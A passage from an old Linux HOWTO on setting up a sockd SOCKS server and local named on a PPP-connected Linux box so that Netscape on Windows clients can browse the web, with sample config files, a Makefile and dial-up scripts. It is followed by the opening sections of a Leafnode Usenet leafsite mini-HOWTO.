  • if ANY of your clients are UNIX machines, you are perhaps better off reading the "sockd" package's documentation, since you may be needing the use of "rlogin", "ftp" etc... from within the UNIX CLIENTS. This document will not help you in that aspect.
  • The computer network is assumed to be TCP/IP over ethernet. No netbeui, etc...
The "single linux" machine will be referred to as the "LINUX SYSTEM". while all others are referred to as "OTHER MACHINES" or also as "CLIENT MACHINES". The linux machine is also referrred to as the "SERVER" sometimes.
If you do not understand the next para, then jump to the FOR NETWORK NOVICES ONLY section. Then come back here...

All of the following assumes that there is an IP address assigned (using "ifconfig") to the eth0 port of your LINUX server.

Also, matter, this document does not restrict you to PPP only (it could be SLIP, PPTP, etc...) The IP address of the "ppp0" port is absolutely irrelevant. This document assumes you have one such port, and that its UP.

WHY WE NEED SUCH AN ARRANGEMENT:
  • The linux machine is to be used to connect to the world. Only the linux machine has a REAL-WORLD IP address. (see below). (see "ON-LINE services" section below). The linux machine has a non-persistent PPP link to the world.
  • The other machines in the network have IP addresses that are either invalid or are unknown to the world.
  • You need to use the "Other Machines", and NOT the linux machine to access the internet, VIA NETSCAPE ONLY.
  • I have no need to "telnet" or FTP directly from the "other m/c" to the world. If I ever need to, I telnet manually into the linux machine, and then into the world.
I did NOT want to spend much on a linux m/c that didn't run an X server (much less any X applications). I bought a 486Dx/4 100 Mhz PCI board (since I didn't want to be stuck with plain ISA slots), with a $20 SVGA card and a $20 NE2000 compatible card, and an extra 20$ for terminators+co-ax ('cos I didn't know how to convert a regular Ethernet Hub connecter into a pt-2-pt connector).

And $90 worth of memory (it went all the way to $60 for 16megs) and I had a fully functional linux system for $270. Don't intend to burden that system with NT or any other memory-disk-cpu hogging OSes. Ofcourse, my client machine is a 32-meg P100 machine with two hard disks (one of which was transplanted as a linux machine's HD) and runs 95.

The linux system is sitting on top of a clean PizzaHut pizza box. I couldn't affort another $50 for a tower, since I was getting a power supply module from one of my friends.

The reason I chose NETSCAPE is that I no longer use FTP manually. Its simply, out of fashion. Every ftp site, worth its name and every company, has a web site that lets me use the Netscape browser to access their ftp site. I do need to telnet frequently, but go thru the trouble of going from my win95/winNT4.0 machine to the linux machine, and from there... Secondly, I am hooked to QuickTime and all those net audio sites. And LINUX versions of those tools, do not exist. So, I have to run stuff from Netscape ON windows platforms. And my LINUX machine recvs EMail using sendmail... (remember, I have a fixed IP address. Such fixed IP addresses are better ONLY for things like recving email. Its no benefit for Surfing, Telnetting, etc...)

Lastly, we will never have a "Microsoft Explorer Browser" for linux, and hence I never even considered using Explorer. Also something tells me that its NOT going to be this easy to configure the Explorer as it was to configure the NETSCAPE on the CLIENT machines (i.e., the other machines).

PROXY SERVER

I am not giving directions to installing a PROXY server. This is about installing a "socks" facility on the LINUX machine, which NETSCAPE on the client machines can use to access the internet. NETSCAPE (as far as I know) is the ONLY application that runs on NON-UNIX machines and is aware of the SOCKS facility.

INTERNET Addresses

If you have a TCP/IP network, then you MUST have ATLEAST two IP addresses for the machines (one for the LINUX machine and another for the one of the Client Machines, and more IP addresses if you have more than one client machine).

Read the other HOW-TOs on how to assign IP addresses to ALL your machines on the TCP/IP network. (ESPECIALLY IF YOU DO NOT have a REGISTERED internet domain).

I created a network 10.0.1.x out of the single LINUX machine and the single Win95 machine. They were assigned 10.0.1.1 and 10.0.1.2 respectively. The 10.0.1.1 is the IP address of the ETHERNET port (eth0) of the LINUX machine. The ppp0 port has another IP (which [lucky me] has a fixed IP address). That IP address is irrelevant to us, and also, being withheld for security reasons.

I also have a fixed domain name server on the other end of the PPP link. (University machine).

The linux machine has a modem and CRONTAB entries, that automatically dial up to the internet at fixed times daily. I also manually connect to the internet, when I want to go surfing.

If you connect to the internet via ON-LINE services, see below...

ON-LINE services

If you connect to the world using ON-LINE services like AOL, Compuserve, Sprynet, Netcom etc... then you may NOT have a fixed IP address. That is of little relevance in getting your intrAnet hooked up to the world. If you do not believe that, I request you to read on... and become a believer...

Some Background Information

(For those who are like me and want to know what the hell is happening...). Others may skip this section....

  1. ... since you have ONLY one ethernet network, you do NOT need routing within that network. And you perhaps have manually hardcoded the IP addresses ( 10.0.1.1, 10.0.1.2 ) of ALL your machines in /etc/hosts. If you did that, you are smart person. Using "named" for a two or three computer network at home, is like using the bulldozer instead of a spoon to eat.
  2. What we would ideally like, is for ALL IP packets from the client machines to go to the LINUX machine, which will then route accordingly. Problem with this, you are exposing your computer to hackers because if the LINUX machine routes, you DO NOT have firewalling or proxy or whatever. Here in this document, we will do firewalling unintentionally! while trying to get NETSCAPE to access internet from the client machines.

    One problem with this "re-routing" desired from the linux machine, is that the clients MUST actually SEND ALL packets to the linux machine, no matter what the destination address. To that end, Win95 and WinNT will ONLY allow "proxy servers" (Which I intend to figure out, and write another document on).

  3. IF you are well versed with various free utils, you may have heard of "term" package. It was designed simply because its easier to configure networks being a "simple" user and NOT AS A ROOT/ADMIN (on both client and server sides). The same logic goes with NETSCAPE on the clients. It is easier to JUST GET the netscape to access the internet and leave the rest of the features (FTP, TELNET) unsupported.
  4. If you think, having ONLY netscape access and NOT telnet / ftp access to internet from the client machines, is a bummer, then you are a dinosaur. Wake Up, Mr./Ms. Rip Van Winkle.
  5. (TECHNICAL) The "named" which remained unused (as mentioned above) will be put to use to support NETSCAPE (so that http:/www.sex.org will be resolved right from the client machine).
  6. (TECHNICAL) You will have to REBUILD your LINUX kernel to disable IP forwarding. I intend to rebuild my kernel with forwarding ENABLED and see if the socks package still works (I am betting it will). If it does, then you will find a newer version of this document. (What this means, is that, you can use the kernel installed by your favorite LINUX installation package).
  7. You will need ROOT access on the linux machine :-) You will need to download the socks package and COMPILE it. It will NOT compile 'cos the MAKE file is bad.
  8. (TECHNICAL) be prepared to edit the socks.c file, to comment out ONLY two lines which place an entry in your syslog file (/var/adm) for every data transfer via socks. For eg: a single page on WWW.CNN.COM will have 10 pictures atleast and 5 separate text objects. For each of them you will find an entry in syslog (that it was transferred!). My syslog keeps filling up. I do NOT like that. Maybe you might not mind.
  9. This sockd package supports CLIENT machines ONLY. All applications on the LINUX machine DO NOT need the sockd or any other package to access the internet, since this LINUX machine connects to internet directly using PPP.

PREPARING YOUR LINUX MACHINE

Read the NET-HOW-TO in /usr/doc/faq/howto on your linux machine (if its slakware), or go to the www.linux.org and read the same NET-HOW-TO there...

In that you will find how to down load the socks package and compile it. You NEED TO READ the instructions there to setup the in-house network. But you are welcome to read this :-) .

That document spends a lot of time, explaining how to configure UNIX clients. Especially for "rlogin" "telnet" "ftp" etc... If you do not have UNIX clients, then after compiling the SOCKS package, start reading this document again, for using the socks package rather than the readme file in that package.

I placed the tar file in /usr/local/ProxyServer and untarred it, creating a "sockd4.2b" subdirectory within which there is a "Makefile". As mentioned in the howto document, I had to struggle to successfully do a make on the MAKEFILE.

For your convenience, the MAKEFILE is included at end...

Hopefully, you will have change line # 9 of my copy of the Makefile, only.

Then I moved the sockd directory contents into its parent and changed the line # 9 and did a make again -- successfully. So I guess I "fixed" the MAKEFILE.

Setting UP the sockd daemon

You will find an executable called "sockd" in the sockd subdirectory.

Once you are done compiling, COPY the following files to /usr/local/etc
(They SHOULD be in the same dir as the sockd directory)
    sockd			(The executable a.k.a daemon)
    sockd.conf		(configuration file)
    sockd.route		(configuration file)
    socks.conf		(configuration file)

# ### make a link called "socks" which points to "sockd" within the same dir.
# cd /usr/local/etc
# ln -s sockd socks
Then edit those three configuration files so that they are similar to the ones given below (these are my settings for a two computer network, made up of a LINUX "server" and a Win95/WinNT client machine).

My sockd.conf file

permit	10.0.1.2    0.0.0.0
deny	0.0.0.0 0.0.0.0 : /usr/ucb/finger @%A | /usr/ucb/mail -s 'SOCKD: rejected -- from %u@%A to host %Z (service %S)' root
#BAD_ID: /usr/ucb/finger @%A | /usr/ucb/mail -s '%U pretends to be %u on host %A' root@%A root
#NO_IDENTD: /usr/ucb/mail -s 'Please run identd on %A' %u@%A root@%A
#[EOF]
NOTE: 10.0.1.2 is my Win95/WinNT client machine's IP address. This sockd.conf file MUST be on your LINUX server (in my case that the ethernet port of the LINUX server has an IP address = 10.0.1.1)

NOTE: This sockd program is for CLIENT machines ONLY. All applications on the LINUX machine DO NOT need the sockd or any other package to access the internet, since this LINUX machine connects to internet directly using PPP.

My sockd.route file

#! NoShell
10.0.1.1	10.0.1.0	255.255.255.0
#[EOF]
NOTE: The first IP address is the address of the LINUX machine's eth0 PORT. The second IP number is NOT an IP address -- Its the NETWORK address (basically, convert the last of the FOUR numbers of the IP address into a ZERO).

My socks.conf file

direct	127.0.0.1	255.255.255.255
direct	10.0.1.1	255.255.255.255
direct	10.0.1.2	255.255.255.255
sockd	@=199.99.99.99	10.0.1.1 0.0.0.0

Now to configure the LINUX machine
  • Step # 1: Check to see if "named" is already running in your system. If it is -- then, you are on your own. Unless you know the concepts of DNS very well, you may not be able to adapt the contents of this document to suit your needs.
  • Step # 2: Copy the "named.boot" file given below into your machine.
  • Step # 3: copy the "root.cache" file given below into your machine (follow instructions that come with it).

/etc/host.conf file

 All programs that run on the LINUX machine WILL (you cannot prevent that) use the resolver libraries -- which depend on the file /etc/host.conf

You must make sure that NONE of these programs ever access the "named" daemon on THAT VERY linux machine. To do that we shall specify to the resolver routines (i.e., routines which convert www.cnn.com into the numerical ip address) that those resolver routines MUST either check the /etc/hosts file and then check the DNS servers mentioned in /etc/resolv.conf

How do we do that? Simply, make sure the /etc/host.conf file is :-

        order hosts, bind
        multi on
If there is anything else, remove it, unless you know a lot about DNS and "named".

The reason I insist on preventing the LINUX machine's applications from accessing its own "named" server, is because it makes no sense. And from my experience, such a "unnecessaries" may look technically safe and harmless but will cause enough grief sooner or later...

The linux machine is obviously doing just great accessing the internet via the PPP (or whatever link) link. We are installing "sockd" package and the "named" daemon for the client machines. Let's not disturb the LINUX system.

You DO NOT NEED to change the "/etc/gateways" or "/etc/hosts" file or the "hosts.allow" or the "hosts.deny" file in order to get your socks working.

Do not change any file unless someone suggests a change to that file...

I will also assume that you have setup "resolv.conf" properly, to enable your LINUX server to access the internet and the DNS (on the "other end" of the PPP connection). My sample resolv.conf file is available as a sample at the very end.

        ***********************************************
                WARNING
        ***********************************************
        For your own good, I suggest that you setup your
        machine through the linux installation programs
        (i.e., while installing linux on your computer.)
        ************************************************

My named.boot file

    ;    boot file for name server
    forwarders 128.112.129.111
    directory /etc
    cache      .       root.cache
    primary    1.0.10.in-addr.arpa   named_DNS_for_inTi_xwk
                     ^^^^^^^^^^^^^^^^^^^^^^
NOTE: line # 2, contains the IP address of the DNS server in the network to which your LINUX machine connects to using PPP(or whatever).

*** How to determine this IP Address ****

SIMPLE ! on a command prompt type in the command "nslookup". The response you see will CONTAIN such an IP address. (After noting the DNS' IP address, exist "nslookup" using <CTL-D>.

NOTE: The LAST line contains the name of a file called "named_DNS_for_inTi_xwk' which MUST be in the "/etc" directory. The contents of this file, is given below (you are free to give it a better name :-) )

My "named_DNS_for_inTi_xwk" file

@		IN	SOA     10.0.1.0 hostmaster.10.0.1.0 (
                1       ; Serial
                28800   ; Refresh
                7200    ; Retry
                604800  ; Expire
                86400)  ; Minimum TTL
            NS	10.0.1.1
1			PTR	MyLinuxMachine
NOTE: The last line (starts with a 1) contains the name "MyLinuxMachine". replace it with the name in /etc/HOSTNAME. NOTE: Again , as you have been doing so far, replace "10.0.1.1" with that of your LINUX machine eth0 port's address, and replace "10.0.1.0" with that of the network address of that port. NOTE: I really do not understand every character of the above file. You will be better off statisfying your curiousity by studying the documentation for the NAMED daemon.

My root.cache file

To get this file read the NET-HOW-TO documentation and the documentation that comes with the socks package.

Those instructions are VERY simple...

All I did was to run a command mentioned there, and redirected it into a file and called it "/etc/root.cache"

; <<>> DiG 2.1 <<>> ns
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr rd ra; Ques: 1, Ans: 9, Auth: 0, Addit: 9
;; QUESTIONS:
;;	., type = NS, class = IN

;; ANSWERS:
.	137030	NS	C.ROOT-SERVERS.NET.
.	137030	NS	D.ROOT-SERVERS.NET.
.	137030	NS	E.ROOT-SERVERS.NET.
.	137030	NS	I.ROOT-SERVERS.NET.
.	137030	NS	F.ROOT-SERVERS.NET.
.	137030	NS	G.ROOT-SERVERS.NET.
.	137030	NS	A.ROOT-SERVERS.NET.
.	137030	NS	H.ROOT-SERVERS.NET.
.	137030	NS	B.ROOT-SERVERS.NET.

;; ADDITIONAL RECORDS:
C.ROOT-SERVERS.NET.	410161	A	192.33.4.12
D.ROOT-SERVERS.NET.	410161	A	128.8.10.90
E.ROOT-SERVERS.NET.	410161	A	192.203.230.10
I.ROOT-SERVERS.NET.	167767	A	192.36.148.17
F.ROOT-SERVERS.NET.	410161	A	192.5.5.241
G.ROOT-SERVERS.NET.	410161	A	192.112.36.4
A.ROOT-SERVERS.NET.	410161	A	198.41.0.4
B.ROOT-SERVERS.NET.	410161	A	128.9.0.107
H.ROOT-SERVERS.NET.	410161	A	128.63.2.53

;; Total query time: 334 msec
;; FROM: svathyam to SERVER: default -- 128.112.129.111
;; WHEN: Sat Sep 28 21:38:04 1996
;; MSG SIZE  sent: 17  rcvd: 312

Add this to /etc/services

(add the single line starting with "socks"...)

# services	This file describes the various services that are
#		available from the TCP/IP subsystem.  It should be
#		consulted instead of using the numbers in the ARPA
#		include files, or, worse, just guessing them.
# Version:	@(#)/etc/services	3.02	02/21/93
# Author:	Fred N. van Kempen,

... <lines delete>

socks		1080/tcp			# sarma: Sep.15.96: Got this from the ~sockd/include/socks.h file.

... <lines delete>

# End of services.
NOTE: This line is read ONLY by inetd daemon I think. This tells the inetd to invoke the "socks" program for all tcp connections to the port # 1080.

Add this to your /etc/inetd.conf file

    # I am just following instructions from ~sockd/doc/sockd.1 man pages...
    socks   stream  tcp     nowait  root    /usr/local/etc/socks
  • NOTE: Make sure /usr/local/etc is in the SYSTEMS's default PATH.
  • NOTE: For more instructions, read the SOCKD package's instruction file. In that this very same line is mentioned, and also you will get to know what it means...
  • NOTE: As the filename indicates, this file tells the "inetd" daemon where it can find the "socks" program, and what arguments to pass it (always) etc...

LET'S GET STARTED !

 Now reboot your system (if you know how, you may instead send HUP to the appropriate daemons). Your LINUX server is now set.

do a "tail -f /var/adm/messages" and a "tail -f /var/adm/syslog" simultaneously and attempt to connect using NETSCAPE from your CLIENT machines.

Now let's configure the client machine's Netscape...

Configuring NETSCAPE 3.0 Client
This is to be DONE on the client machines ONLY
DO NOT bother doing this on the LINUX server.

  • Pull down the menu called "options" in Netscape.
  • Choose "Network Preferences".
  • You MUST see a dialog box (new window) with "TABS" (layers)...
  • One of the "tabs" will be labelled "PROXIES"
  • Click on that layer/tab.
  • You will see a radio button labelled "manual proxy configuration" with a button beside.
  • CLick on that button to open up another dialog box.
  • The second last set of entry slots in that new window will show you...
    --------- --------------------------              --------
    | socks | |                        |		  | 1080 |
    --------- --------------------------              --------
This shows that netscape is already aware of socks. All you have to do is to tell NETSCAPE where the socks daemon is running.

Type in the eth0 port IP address of the linux server in the middle box shown above...

Save this setting and get going... !!

For Networking NOVICES

 If you have already used your Win95 or WinNT machines to connect to the internet via PPP, this documents is of absolutely NO help to you. Anyways, why bother using linux to connect to the internet when you can do so via the client machine's built-in PPP?

If you haven't been able to connect to the internet via the LINUX server, then stop reading this document and read the other HOW-TO documents to setup your LINUX machine to access the internet via the PPP link.

I hope you know the concept of IP addresses. In short IP addresses have "mnemonics" formats (like www.cnn.com) as well as numeric versions like "198.20.186.4". If you type the former "www.cnn.com" someone must HELP your computer convert that name into the numerical format.

Why the numerical format? 'cos, that numerical format encodes a very efficient system of telling each computer HOW to send out communication capsules to OTHER computers THAT IT WANTS TO communicate to.

So, if you type in "www.cnn.com" on your NETSCAPE browser, then a UNIX computer called a "DNS server" will convert that name into a number for your computer. Then your computer will use that numerical format of the IP address to actually CONNECT to www.cnn.com and show you their latest news.

So, the gist being that : to use the internet you need a DNS server. This document includes instructions on setting up your computer to HOOK up to your NEIGHBORHOOD DNS server.

Your LINUX machine MUST have ALL of the following :-

  1. A modem, through which you can connect to INTERNET *** DIRECTLY ***
  2. An ethernet card, to which you have the ethernet cable hooked up (the other ends of which you have your client machines hooked up to...)
  3. A Working PPP connection.
  4. A Valid DNS server information (use nslookup --- if that program retuns invalid values, stop reading this document. You WILL NOT be able to proceed...)
  5. Netscape 2.0 or later on your client machines.)
The "modem" is technically referred to as the "ppp0 port" as far as this document is concerned. By "port" I mean something similar to a "Sea-Port". This modem or PPP port enables you to "explore the world" (go on a "vacation" from daily chores) :-)

The "ethernet card" is your "eth0" port. That ethernet "port" lets you explore the ethernet network to which its connected.

Since your client machines are connected via the ethernet cable to the LINUX machine, anything that your client machine communicates to the LINUX machine will ONLY REACH the linux machine VIA the "eth0" port. ANything that the outside world sends to your LINUX machine will ONLY REACH via the "ppp0 port". So, its very important that these two ports be given "DIFFERENT ADDRESSES".

To make things easier for you, if you ALREADY successfully connected to the world using PPP, then, you have UNKNOWINGLY (or knowingly) assigned an IP numerical address to your linux machine's PPP port.

The MAKEFILE for sockd compilation

    SHELL=/bin/bash
    #SOCKS=-DSOCKS
    # or
    SOCKS=-Dconnect=Rconnect -Dgetsockname=Rgetsockname -Dlisten=Rlisten -Daccept=Raccept -Drcmd=Rrcmd -Dbind=Rbind -Dselect=Rselect
    CFLAGS="$(SOCKS)"

    # If your system doesn't have PWD defined, define it here:
    PWD="/usr/local/ProxyServer/socks42b"
    # It should be this current directory.

    # If your system has getcwd() but no getwd(), uncomment the next line:
    #GETCWD=-DGETCWD

    # Define FASCIST if you want ftp (rftp) to log names of all files transferred
    #FASCIST=-DFASCIST

    # Define RCMD and SUPPORT_RCMD if you want to support Rrcmd, which is required
    # for SOCKSified rlogin, rsh, and rcp.
    RCMD=Rrcmd.o
    SUPPORT_RCMD=-DSUPPORT_RCMD

    # Define FOR_PS if your system is not SYSV and you want to have the
    # command 'ps' show some details of sockd's activity.
    FOR_PS=-DFOR_PS

    # Define SHORTENED_RBIND to make Rbind() take exactly the same
    # argument list as the regular bind(), i.e., without the additional
    # 'remhost' argument.
    SHORTENED_RBIND=-DSHORTENED_RBIND

    # optimization flag for cc
    #OPTIMIZE=-g
    OPTIMIZE=-O6 -fomit-frame-pointer -pipe -m486
    # Be careful with the OPTIMIZE flag. SunPro's SC2.0.1, for example, is
    # knwon to produce incorrect code when -O is used.

    # Directory into which to install the man pages
    MAN_DEST_DIR = /usr/local/man

    # Directory into which the SOCKS server should be installed
    SERVER_BIN_DIR = /usr/local/ProxyServer
    ## This was defalted to /usr/local/etc

    # Directory into the client programs should be installed
    CLIENTS_BIN_DIR = /usr/local/ProxyServer
    ## This was defaulted to /usr/local/bin

    # LINUX should use
    CC=gcc
    RANLIB=ranlib
    RESOLV_LIB=
    #OTHER_CFLAGS=-traditional -DLINUX  $(GETCWD) $(FASCIST) $(SHORTENED_RBIND) -DCOMPAT
    OTHER_CFLAGS=-DLINUX  $(GETCWD) $(FASCIST) $(SHORTENED_RBIND) -DCOMPAT
    OS=linux
    INSTALL=install
    GETPASS=getpass.o

    # Remember to include -Dindex=strchr -Drindex=strrchr in OTHER_CFLAGS if
    # you don't have index() and rindex() (Sys-V camp)

    # <<<----------------

    # The Internet Whois server; used to be nic.ddn.mil.
    WHOIS_SERVER= WHOIS_SERVER=-DWHOIS_SERVER\'=\"rs.internic.net\"\'

    SOCKS_LIB=$(PWD)/lib/libsocks.a
    IDENT_LIB=$(PWD)/libident/libident.a

    all: LIB LIBIDENT server clients

    server: LIB LIBIDENT
        (cd sockd; $(MAKE) CC="$(CC)" RESOLV_LIB="$(RESOLV_LIB)" \
            OPTIMIZE="$(OPTIMIZE)" \
            SOCKS_LIB="$(SOCKS_LIB)" SUPPORT_RCMD="$(SUPPORT_RCMD)" \
            IDENT_LIB="$(IDENT_LIB)" \
            OTHER_CFLAGS="$(OTHER_CFLAGS) $(FOR_PS)")

    clients: RFINGER RFTP RTELNET

    LIB:
        (cd lib; $(MAKE) CC="$(CC)" GETPASS="$(GETPASS)" \
            OPTIMIZE="$(OPTIMIZE)" \
            RCMD="$(RCMD)" SUPPORT_RCMD="$(SUPPORT_RCMD)" \
            OTHER_CFLAGS="$(OTHER_CFLAGS) " RANLIB="$(RANLIB)")

    LIBIDENT:
        (cd libident; $(MAKE) CC="$(CC)" OTHER_CFLAGS="$(OTHER_CFLAGS)" \
            OPTIMIZE="$(OPTIMIZE)" RANLIB="$(RANLIB)")

    RFINGER: LIB
    # This also build rwhois
        (cd rfinger; $(MAKE) CC="$(CC)" $(WHOIS_SERVER) \
            OPTIMIZE="$(OPTIMIZE)" SOCKS="$(SOCKS)" \
            RESOLV_LIB="$(RESOLV_LIB)" SOCKS_LIB="$(SOCKS_LIB)" \
            OTHER_CFLAGS="$(OTHER_CFLAGS) ")

    RTELNET: LIB
        (cd rtelnet; $(MAKE) CC="$(CC)" OS="$(OS)" SOCKS_LIB="$(SOCKS_LIB)" \
            OPTIMIZE="$(OPTIMIZE)" SOCKS="$(SOCKS)" \
            RESOLV_LIB="$(RESOLV_LIB)" OTHER_CFLAGS="$(OTHER_CFLAGS)")

    RFTP: LIB
        (cd rftp; $(MAKE) CC="$(CC)" SOCKS_LIB="$(SOCKS_LIB)" \
            OPTIMIZE="$(OPTIMIZE)" SOCKS="$(SOCKS)" \
            RESOLV_LIB="$(RESOLV_LIB)" OTHER_CFLAGS="$(OTHER_CFLAGS)")

    install.server:
        (cd sockd; $(MAKE) INSTALL="$(INSTALL)" MAN_DEST_DIR="$(MAN_DEST_DIR)" \
            SERVER_BIN_DIR="$(SERVER_BIN_DIR)" install install.man)

    install.clients: install.man
        for i in rfinger rftp rtelnet; do \
            (cd $$i ; $(MAKE) INSTALL="$(INSTALL)" \
                CLIENTS_BIN_DIR="$(CLIENTS_BIN_DIR)" \
                install) done
    install.man:
        (cd doc; $(MAKE) INSTALL="$(INSTALL)" MAN_DEST_DIR="$(MAN_DEST_DIR)" \
            install)

    clean:
        for i in lib libident sockd rfinger rftp rtelnet ; do \
            ( cd $$i ; $(MAKE) clean) done

The ppp-on script

 NOTE: This script is being provided as a sample. Having this sample is not a guarantee that you will have an internet connection.
    #!/bin/csh
    #
    #	ppp-on
    #
    #	Set up a PPP link

    set LOCKDIR=/var/spool/uucp
    set DEVICE=cua3

    set OUR_IP_ADDR=128.000.111.222

    if ( -f $LOCKDIR/LCK..$DEVICE ) then
        echo 'PPP device is locked'
        exit 1
    endif

    route del default
    # Just in case the Ethernetwork (In-House ethernet network) is up....
    #	if its NOT, then the above command is harmless...
    route ## To show that the above was successful...

    /usr/lib/ppp/fix-cua $DEVICE

        unalias pushd
        unalias popd
        pushd /usr/lib/ppp
        # stty 19200 -tostop

        # The original code has been commented out below...
        # if chat -l LCK..$DEVICE ABORT "NO CARRIER" ABORT BUSY "" ATZ OK ATs50=255s111=0DT$PHONE CONNECT "" ogin: $USER ssword: \\q$PASSWORD
        echo $cwd
        ls -l ./comserv.dip
        dip ./comserv.dip       ## I removed the -v (DEBUG&VERBOSE) option to 'dip'.
        set dip_status=$status
        # echo the return value of dip is $dip_status

        if $dip_status == '0' then
            # Now please wait for 10 seconds, while the link is being auto-verified by dip.
            echo 'About to fork-off pppd (after a delay of 10 secs)...'
        date
            echo 'If you see any error msgs below, then we are having SERIOUS problems...'
            sleep 10
        pppd -detach crtscts defaultroute domain remote.princeton.edu mru 1005 mtu 1005 $OUR_IP_ADDR{}: /dev/$DEVICE 38400 &
            ###### we dont need this for the previous line...    < /dev/$DEVICE > /dev/$DEVICE ) &
            #    The pppd deamon is FORKED OFF.  See the "&" at the END of above line...
            # By using "locl" option, I am requesting that /var/spool/uucp be the dir
            #    in which the LOCKS are created...
            echo 'Now wait another 10 seconds, before I auto-verify internet connection.'
        sleep 10
        cat ~root/@utils/.line
            ping -v -c 5 genius.eng.wayne.edu
        cat ~root/@utils/.line
        traceroute physics.iisc.ernet.in >&! /tmp/$$
                        cat  /tmp/$$
                        \rm -f /tmp/$$
        cat ~root/@utils/.line
        exit 0
        else
        echo 'PPP setup failed'
        exit 1
        endif
        popd
    # [EoF]

The comserv.dip script to dial up PPP.

NOTE: This script is being provided as a sample. Having this sample is not a guarantee that you will have an internet connection. This script is called from the PPP-ON script given above...

    #******************************** comserv.dip ********************************
    #
    # Connection script for SLIP to ........
    # STATUS code for "dip" when it executes this script are:
    #  0 - all ok.
    #  1 - basic failures, in initializing the modem.
    #  2 - Failed in the crucial "dial" command.
    #  3 - Though DIAL command was successful, this script couldnt recognize
    #      the VERY FIRST responses from the other modem. (i.e., Training occured
    #      but, after that nothing happened that was intelligible to this script.
    #  4 - Modems could nicely link up.  But remote server HAS CHANGED syntax.
    #      i.e., the strings output by the server, are assumed to arrive in a
    #      PARTICULAR sequence.  If server s/w has changed, then we have this
    #      problem.  SOLUTION!!!! Manually connect and note all the strings &
    #      all the sequence of interactions...  Then reprogram the script below.
    # 10 - though dialing and connecting (modem-wise) is successful, ppp failed.
    ############################################################################
    main:
    redial:
      # Set the desired serial port and speed.
      port cua3
      speed 38400
      # term
      get $mtu 1005
      # Reset the modem and terminal line.
      reset
      # Without doing the above reset, nothing below will work!
      # Initialize the modem and dial comserv.
      # send ATQ0V1E1X4L1S0 0 \r
      # wait OK 5
      send ATZ\r
      wait OK 5
      if $errlvl != 0 goto error
      # send ATTQ0V1E1X4S0=0&C1\r
      # wait OK 5
      # if $errlvl != 0 goto error
      ## For Dial Tone use :- send AT&D2\r
      send AT&DP\r
      wait OK 5
      if $errlvl != 0 goto error
      # send ATS10=1\r
      # wait OK 5
      # if $errlvl != 0 goto error
      print if the line is busy, the dial command will realize that after 30 secs ONLY.
      dial 258-0000   30
      print Return value of DIAL is $errlvl
      if $errlvl == 1 goto Continue1
      if $errlvl == 3 goto busy
      print unknown error with DIAL command in "dip" script.
      quit 2 # unknown error with crucial DIAL command...
    busy:
      print telephone number is busy... Continue (1) or terminate (2)?
      get $input ask
      if $input == 1 goto redial
      print You have requested to cancel PPP.  Quitting...
      quit 10 # terminated...
    Continue1:
      # wait V32 30
      # wait CONNECT 10
      # if $errlvl != 0 print Couldn't detect a CONNECT
      # if $errlvl != 0 goto connect_fail
      # print CONNECT was detected...
      # We are connected.  Login to the system.
    login:
      sleep 3
      # send \r\r
      wait Username: 20
      if $errlvl != 0 goto error2
      send USERID\r
      wait Password: 5
      if $errlvl != 0 goto error2
      send __Password+_::\r\r
      wait comserv> 15
      # print Reached Comserv prompt...
      if $errlvl != 0 goto error2
    slipon:
      send ppp\r
      wait PPP_STARTED 25
      if $errlvl != 0 goto error2
      print CONNECTION completed...
      mode ppp
      exit 0
    error:
      print Total failure to interact with MODEM!!!
      quit 1 # basic failure in working with modem, etc...
    connect_fail:
      print Couldnt detect a "CONNECT 14400" kind of string after dial in...
      quit 3
    error2:
      print Modems could nicely link up.  But remote server HAS CHANGED syntax/ interaction sequence...
      quit 4 # basic failure in working with modem, etc...
    #=================================== EOF ===================================


News Leafsite mini-HOWTO

Florian Kuehnert, sutok@gmx.de

v0.4, 2001-12-01

This HOWTO will help you to configure a small leafsite for Usenet News using the free software package Leafnode. For any questions, suggestions and comments, please write to Florian Kuehnert (sutok@gmx.de). Please send any bugs you found in this document to me as well. (C) 1998 by Florian Kuehnert.

1. Why to use Leafnode?

2. Where to get Leafnode?

3. How do I install it?

4. How do I maintain leafnode?

5. How does it work?

6. What newsreader should I use?

7. Where do I get more information?

8. Copyright, License, Thanks


News Leafsite mini-HOWTO: Why to use Leafnode?

 Next Previous Contents

1. Why to use Leafnode?

In normal cases if you want to read news offline on your local computer you have to install a news server software like INN or CNews. Also you are in the need for an nntp or uucp connection to your newsfeed. In fact that such packages contain much more features than you need, you run better by installing Leafnode.

Leafnode is much simpler to use and very small but there are some disadvantages: Leafnode is slow and loses news in about any error situation. That's why you shouldn't use it for a big news server, nevertheless, it´s appropriate for private users who don´t want spend much time configuring INN.


News Leafsite mini-HOWTO: Where to get Leafnode?

 Next Previous Contents

2. Where to get Leafnode?

Leafnode is available at ftp://ftp.troll.no/pub/freebies/ and has been developed by Arnt Gulbrandsen, an employee of Troll Tech AS. The recent version is 1.4 and in some distributions (for example Debian), Leafnode is included. However, be sure to use at least version 1.4 as several critical bugs were fixed.


News Leafsite mini-HOWTO: How do I install it?

 Next Previous Contents

3. How do I install it?

A small installation help comes with the package, but let's do it together :-) -- If Leafnode >=1.4 is shipped with your distribution, it would be the wisest to use the pre-compiled version and leave out the steps 1 to 4.

1.) Be sure that there is no other news server running on your computer. When you type
$ telnet localhost nntp
you should get an error message. If you get a connection get back to the prompt of your shell, you should uninstall INN, CNews or whatever you're running now and comment out the nntp-line in your /etc/inetd.conf.

2.) Make sure that there is a user called "news", check in /etc/password for the name. If there isn't, create one (either typing
$ adduser news
or using a tool shipped with your distribution).

3.) Unpack the sources:
$ tar xfz leafnode-1.4.tar.gz
and change into the source directory
$ cd leafnode-1.4

4.) Compile the program and install it
$ make; make install

5.) Edit /usr/lib/leafnode/config (it may be on any other place like /etc/leafnode when you use a pre-compiled version of your Linux distribution). The line "server =" should point to the news server of your ISP.

6.) Edit /etc/nntpserver. It should include your local hostname (localhost or whatever your computer name is, the command hostname should help you). If in some startup file like /etc/profile or /.bash_profile the environment variable is defined, you should adjust to your computer´s name as well.

7.) Edit the /etc/inetd.conf: Make sure that there is no line beginning with "nntp". If there is such a line, comment it out putting a "#" before it. Then add the following line:
nntp stream tcp nowait news /usr/sbin/tcpd /usr/local/sbin/leafnode
When someone (for example you :-) connects to your computer on the NNTP port, leafnode is started as server process.

8.) Go online and run the program "fetch" as root or news. The first time fetch is started, it will download a list of your ISP's newsgroups. This may take some time depending on the speed on your connection and the number of groups your ISP has in its active-File.

